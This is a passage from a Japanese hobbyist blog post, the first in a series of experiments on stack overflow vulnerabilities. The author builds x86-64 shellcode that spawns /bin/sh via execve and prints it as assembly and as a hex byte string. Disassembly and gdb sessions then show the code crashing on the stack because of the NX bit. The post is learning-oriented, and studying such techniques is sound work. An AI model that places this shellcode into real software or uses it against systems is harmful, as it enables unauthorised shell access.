AIDEMOIRE

【アイデモワール】

脆弱性に関する実験:スタックオーバーフロー(その01)

スタックへのマシン語の書き込みとその実行に関する実験

プログラムの脆弱性の一つとしてスタック オーバーフローを利用して、関数からの戻りアドレスを書き換えてしまうというのがあります。大まかな仕組みは、ある関数でローカル変数としてバッファ領域を宣言して、そのバッファに対してバッファの大きさ以上の値をコピーするとバッファの領域を超えてスタック フレームにデータを書き込む事になり、スタック フレームを破壊することで関数の戻りアドレスを変更するものです。例えば strcpyなどでバッファ間のコピーをする際に起こり得るわけです。

理屈は分かりますが、では実際に作れるか?と言われると、今まで作ったことがないのではっきり言って自信はないのです。エンジニアたるもの実践なくして技術を語るな、といのがモットーの私としては、やはり作らなければいけないと思いました。

Webで探せば、やり方を書いたページあるかと思いますが、ここはまずは自分で考えて作ってみることにします。従って、当面は試行錯誤の雑記帳になるかも知れません。

関数からの戻りアドレスを変更できたとして、その先で何をやらせるかを明確にしなければなりません。単にアドレスを適当な値に書き換えて暴走させるだけであれば、誰でもできます(いわゆるバグですね。)。

そこで、シェルを起動する簡単なプログラムでテストすることにしました。単独のプログラムとして書くと次のような簡単なものです。

#include <unistd.h>

void main()
{
	execve("/bin/sh", NULL, NULL);
}

execveは今動いているプロセスに対して引数で指定されるプログラムをロードして起動するシステム コールです。execlとかexecpとかはこのシステム コールを使ったライブラリ関数として定義されていますので、一番基本となるexecveを使います。

先ずは、このプログラムが機械語としてどのようなプログラムに展開されるのかを調べなければなりません。コンパイラの“-S”オプションではexecveのライブラリ呼び出しのところまでしか分かりませんから、“-static”でコンパイルして出来たオブジェクトをobjdumpで逆アセンブルします。

ubuntu@ubuntu1304d64:~/Temp$ gcc -o callsh callsh.c -static
ubuntu@ubuntu1304d64:~/Temp$ objdump -D -x callsh > callsh.da
ubuntu@ubuntu1304d64:~/Temp$ ls -l
total 12300
-rwxrwxr-x 1 ubuntu ubuntu   895626 Sep 15 15:02 callsh
-rw-rw-r-- 1 ubuntu ubuntu      218 Sep 15 14:58 callsh.c
-rw-rw-r-- 1 ubuntu ubuntu 11693162 Sep 15 15:12 callsh.da
ubuntu@ubuntu1304d64:~/Temp$

さて、得られた逆アセンブラは結構な量ですが、エディタで“main”と“execve”という文字列で必要な部分を探します。以下は必要な部分のみの抜粋です。

0000000000401110 <main>:
  401110:	55                   	push   %rbp
  401111:	48 89 e5             	mov    %rsp,%rbp
  401114:	ba 00 00 00 00       	mov    $0x0,%edx
  401119:	be 00 00 00 00       	mov    $0x0,%esi
  40111e:	bf 84 5e 49 00       	mov    $0x495e84,%edi
  401123:	e8 f8 db 00 00       	callq  40ed20 <__execve>
  401128:	5d                   	pop    %rbp
  401129:	c3                   	retq   
  40112a:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)


000000000040ed20 <__execve>:
  40ed20:	b8 3b 00 00 00       	mov    $0x3b,%eax
  40ed25:	0f 05                	syscall 
  40ed27:	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax
  40ed2d:	77 02                	ja     40ed31 <__execve+0x11>
  40ed2f:	f3 c3                	repz retq 
  40ed31:	48 c7 c2 c0 ff ff ff 	mov    $0xffffffffffffffc0,%rdx
  40ed38:	f7 d8                	neg    %eax
  40ed3a:	64 89 02             	mov    %eax,%fs:(%rdx)
  40ed3d:	48 83 c8 ff          	or     $0xffffffffffffffff,%rax
  40ed41:	c3                   	retq   
  40ed42:	66 90                	xchg   %ax,%ax
  40ed44:	66 2e 0f 1f 84 00 00 	nopw   %cs:0x0(%rax,%rax,1)
  40ed4b:	00 00 00 
  40ed4e:	66 90                	xchg   %ax,%ax

0000000000495e80 <_IO_stdin_used>:
  495e80:	01 00                	add    %eax,(%rax)
  495e82:	02 00                	add    (%rax),%al
  495e84:	2f                   	(bad)  
  495e85:	62                   	(bad)  
  495e86:	69 6e 2f 73 68 00 46 	imul   $0x46006873,0x2f(%rsi),%ebp

このことからexecveを使うには以下のことを準備すれば良いことがわかります。

  • edx(rdxレジスタには第3引数のNULL、つまりゼロをセットする。
  • esi(rsi)レジスタには第2引数のNULL、つまりゼロをセットする。
  • edi(rdi)レジスタには第1引数のコマンドパスを保持したアドレスをセットする。
  • eax(rax)レジスタにはシステム コール番号の“3b”をセットする。
  • syscall命令でシステム コールを実行する。

以外と簡単でした。

なお、“/bin/sh”はコマンド引数へのポインタがNULL(今回の第2引数)でも、環境変数へのポインタがNULL(今回の第3引数)でも動くので、こんな簡単なものでも実験はできます。コマンドによってはこれらの引数としてNULL値以外のものを必要とするものもあります。

また、私の環境は64bit環境なので、レジスタは“rxx”という名称になるのですが、何故か32bit環境の“exx”になっていました。これはコンパイラが命令数を短くするために“exx”を対象して演算しているようです。実質的には“rxx”を対象として演算するのと違いはありませんでした。

以上から必要な命令は次の5命令で構成できます。

	xor		%edx,%edx
	xor		%esi,%esi
	lea		0x07(%rip),%rdi
	mov		$0x3b,%eax
	syscall
	.string		"/bin/sh"

“.string”はアセンブラに対する疑似命令で“/bin/sh”という文字列を“そこに”置くことを指定します。この場合はsyscall命令の直後に配置しています。また、そのアドレスをrdiレジスタに格納する必要がありますが、これはその命令(lea命令)のある場所からの相対アドレスで指定します。(つまり、lea命令の直後から7バイト増加したアドレスをrdiに格納します。これで、この5命令+1疑似命令はどのアドレスに配置されても動きます。)

では、まずはこのプログラムがちゃんと機能するか検証してみましょう。検証用に次のようなC(実質はアセンブラ)のプログラムを用意します。

fake.c

int main() {
	__asm__(
		"xor	%edx,%edx\n"
		"xor	%esi,%esi\n"
		"lea	0x07(%rip),%rdi\n"
		"mov	$0x3b,%eax\n"
		"syscall\n"
		".string \"/bin/sh\"\n"
	);
}

ではコンパイルして実行してみましょう。

ubuntu@ubuntu1304d64:~/Temp$ cc -o fake fake.c
ubuntu@ubuntu1304d64:~/Temp$ ./fake
$ env
PWD=/home/ubuntu/Temp
$ exit
ubuntu@ubuntu1304d64:~/Temp$

確かにshが起動されました。今回はshに対して環境変数を渡していないので、環境変数はshが起動してから自ら設定したPWDだけになっています。
このオブジェクトをダンプしたのが以下の逆アセンブラ リストです。

00000000004004ec <main>:
  4004ec:	55                   	push   %rbp
  4004ed:	48 89 e5             	mov    %rsp,%rbp
  4004f0:	31 d2                	xor    %edx,%edx
  4004f2:	31 f6                	xor    %esi,%esi
  4004f4:	48 8d 3d 07 00 00 00 	lea    0x7(%rip),%rdi        # 400502 <main+0x16>
  4004fb:	b8 3b 00 00 00       	mov    $0x3b,%eax
  400500:	0f 05                	syscall 
  400502:	2f                   	(bad)  
  400503:	62                   	(bad)  
  400504:	69 6e 2f 73 68 00 5d 	imul   $0x5d006873,0x2f(%rsi),%ebp
  40050b:	c3                   	retq   
  40050c:	0f 1f 40 00          	nopl   0x0(%rax)

“syscall”の後に“(bad)”という未定義命令がありますが、これは“/bin/sh”という文字列がここにあるためです。なお、syscallでシェルを起動してしまったら、このアドレスには戻ってこないので、syscall以降の命令は必要ありません。何らかの原因でシステムコールが失敗した時のみsyscall命令の次に戻ってきます。しかし、今回の場合は、そこまでは面倒を見ないことにします。

このプログラムはアセンブラで書いてありますが、通常のプログラムと同様にテキスト領域(つまりプログラムの本体か格納されているメモリ領域)にあるプログラムとして動いています。ではテキスト領域以外に配置しても動くのかを次に試してみました。

今度はアセンブラとしてではなく、マシン語として定義して、それをスタック領域に配置し、それに対して関数呼び出しを実行してみます。

fake2.c

int main() {
	char	code[] =
		"\x31\xd2"			// xor %edx,%edx
		"\x31\xf6"			// xor %esi,%esi
		"\x48\x8d\x3d\x07\x00\x00\x00"	// lea 0x7(%rip),%rdi
		"\xb8\x3b\x00\x00\x00"		// mov $0x3b,%eax
		"\x0f\x05"			// syscall
		"/bin/sh"
		"\x00";

		(*(void (*)())code)();
}

ここでcodeという配列はmainに対してローカル変数ですからmainのスタックに領域が取られ、初期化時にマシン語のプログラムが設定されます。プログラムの先頭アドレスを表すのは“code”になりますが、これをvoid型の関数へのポインタとしてキャストすることで、そのアドレスを呼び出します。

では、コンパイルして実行してみましょう。

ubuntu@ubuntu1304d64:~/Temp$ cc -o fake2 fake2.c
ubuntu@ubuntu1304d64:~/Temp$ ./fake2
Segmentation fault (core dumped)
ubuntu@ubuntu1304d64:~/Temp$

おや、SEGV例外が発生しているようです。では、gdbで追いかけてみましょう。

ubuntu@ubuntu1304d64:~/Temp$ gdb ./fake2
(gdb) disassemble main
Dump of assembler code for function main:
   0x000000000040055c <+0>:     push   %rbp
   0x000000000040055d <+1>:     mov    %rsp,%rbp
   0x0000000000400560 <+4>:     sub    $0x30,%rsp
   0x0000000000400564 <+8>:     mov    %fs:0x28,%rax
   0x000000000040056d <+17>:    mov    %rax,-0x8(%rbp)
   0x0000000000400571 <+21>:    xor    %eax,%eax
   0x0000000000400573 <+23>:    mov    0xfa(%rip),%rax        # 0x400674
   0x000000000040057a <+30>:    mov    %rax,-0x30(%rbp)
   0x000000000040057e <+34>:    mov    0xf7(%rip),%rax        # 0x40067c
   0x0000000000400585 <+41>:    mov    %rax,-0x28(%rbp)
   0x0000000000400589 <+45>:    mov    0xf4(%rip),%rax        # 0x400684
   0x0000000000400590 <+52>:    mov    %rax,-0x20(%rbp)
   0x0000000000400594 <+56>:    movzwl 0xf1(%rip),%eax        # 0x40068c
   0x000000000040059b <+63>:    mov    %ax,-0x18(%rbp)
   0x000000000040059f <+67>:    movzbl 0xe8(%rip),%eax        # 0x40068e
   0x00000000004005a6 <+74>:    mov    %al,-0x16(%rbp)
   0x00000000004005a9 <+77>:    lea    -0x30(%rbp),%rdx
   0x00000000004005ad <+81>:    mov    $0x0,%eax
   0x00000000004005b2 <+86>:    callq  *%rdx
   0x00000000004005b4 <+88>:    mov    -0x8(%rbp),%rdx
   0x00000000004005b8 <+92>:    xor    %fs:0x28,%rdx
   0x00000000004005c1 <+101>:   je     0x4005c8 <main+108>
   0x00000000004005c3 <+103>:   callq  0x400440 <__stack_chk_fail@plt>
   0x00000000004005c8 <+108>:   leaveq
   0x00000000004005c9 <+109>:   retq
End of assembler dump.
(gdb)

main関数ではちゃんと配列変数の初期化をしているようです(+23~+74)。また、その変数の先頭アドレスをrdxレジスタに格納して、そこへ関数コールをしています(+77~+86)。

それでは関数コールの直前まで走らせてみましょう。

(gdb) b *0x00000000004005b2
Breakpoint 1 at 0x4005b2
(gdb) run
Starting program: /home/ubuntu/Temp/fake2
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000

Breakpoint 1, 0x00000000004005b2 in main ()
(gdb)

callq命令を実行する直前までは問題なく動いています。では、スタック領域は初期化されてマシン語のプログラムが配置されているハズなので、ダンプしてみます。

(gdb) x/5i $rsp
   0x7fffffffe430:      xor    %edx,%edx
   0x7fffffffe432:      xor    %esi,%esi
   0x7fffffffe434:      lea    0x7(%rip),%rdi        # 0x7fffffffe442
   0x7fffffffe43b:      mov    $0x3b,%eax
   0x7fffffffe440:      syscall
(gdb) x/s 0x7fffffffe442
0x7fffffffe442: "/bin/sh"
(gdb)

確かにスタック ポインタの先頭からプログラムが書き込まれています。また、syscallに渡す文字列の“/bin/sh"も書き込まれています。

それでは、1命令だけ実行して、マシン語のプログラムの先頭(=現在のスタックポインタの先頭=0x7fffffffe430番地)へジャンプしてしてみます。

(gdb) si
0x00007fffffffe430 in ?? ()
(gdb)

確かに0x00007fffffffe430へジャンプしました。念のため現在のプログラム カウンタから逆アセンブルしてみます。

(gdb) x/5i $rip
=> 0x7fffffffe430:      xor    %edx,%edx
   0x7fffffffe432:      xor    %esi,%esi
   0x7fffffffe434:      lea    0x7(%rip),%rdi        # 0x7fffffffe442
   0x7fffffffe43b:      mov    $0x3b,%eax
   0x7fffffffe440:      syscall
(gdb)

確かに機械語のプログラムになっています。変な命令ではありません。それでは、最初の命令“xor %edx,%edx”を実行します。

(gdb) si

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe430 in ?? ()
(gdb)

ここでSEGV例外が発生しています。このxor命令は、命令としては正しい命令(つまり未定義命令ではない)ですし、またレジスタにアクセスするだけでメモリにはアクセスしていません。従って、通常、よく見かけるアドレス例外でもありません。

ということは、Linuxがテキスト領域以外で命令を実行するとSEGV例外を発生していると考えられます。勿論、命令実施の度にソフトウェアでチェックしていることは考えられないので、ハードウェアの仕組みを使っていることは確かです。それで調べてみると、“No-Execute(NX)ビット”というページエントリのフラグがありました。ソースコードで確認はしていませんが、それを使っているのかと思います。
x64 - Wikipedia
NXビット - Wikipedia
この機能はamd64アーキテクチャから導入されているようなので、結果的に最近のCPUを利用したOSに関して言えば、スタック領域にあるプログラムを実行することは不可能ということになります。(正確にはスタック領域にあるプログラムの実行を制御可能、です。NXビットが立っていなければ実行することも可能でしょうから。)

ということで、このアプローチでのスタック オーバーフローによる任意のプログラムの実行は難しいという結論になりました。ここで言うスタック オーバーフローはCなどのレガシーなプログラミング言語で生成されるハードウェアのスタック レジスタを利用したフレーム構造を指しますので、言語に依ってはスタックの定義が違いますから、必ずしも全てのケースで実行できないわけではないと思います。

とは言っても、上で実験した様にスタックを書き換えることは可能なので、他のアプローチを考えてみたいと思います。

今日はこの辺まで。

脆弱性に関する実験:スタックオーバーフロー編(リンク)

脆弱性に関する実験:スタックオーバーフロー(その01) - AIDEMOIRE
スタックへのマシン語の書き込みとその実行に関する実験


脆弱性に関する実験:スタックオーバーフロー(その02) - AIDEMOIRE
戻りアドレスの書き換えによるロジックの変更に関する実験


脆弱性に関する実験:スタックオーバーフロー(その03) - AIDEMOIRE
プログラムによる自分自身のプログラムの変更に関する実験


脆弱性に関する実験:スタックオーバーフロー(その04) - AIDEMOIRE
スタックの書き換えによるシェルの起動


脆弱性に関する実験:スタックオーバーフロー(その05) - AIDEMOIRE
スタックオーバーフローの脆弱性に関する考察


脆弱性に関する実験:スタックオーバーフロー(その06) - AIDEMOIRE
スタック上のプログラムを実行する方法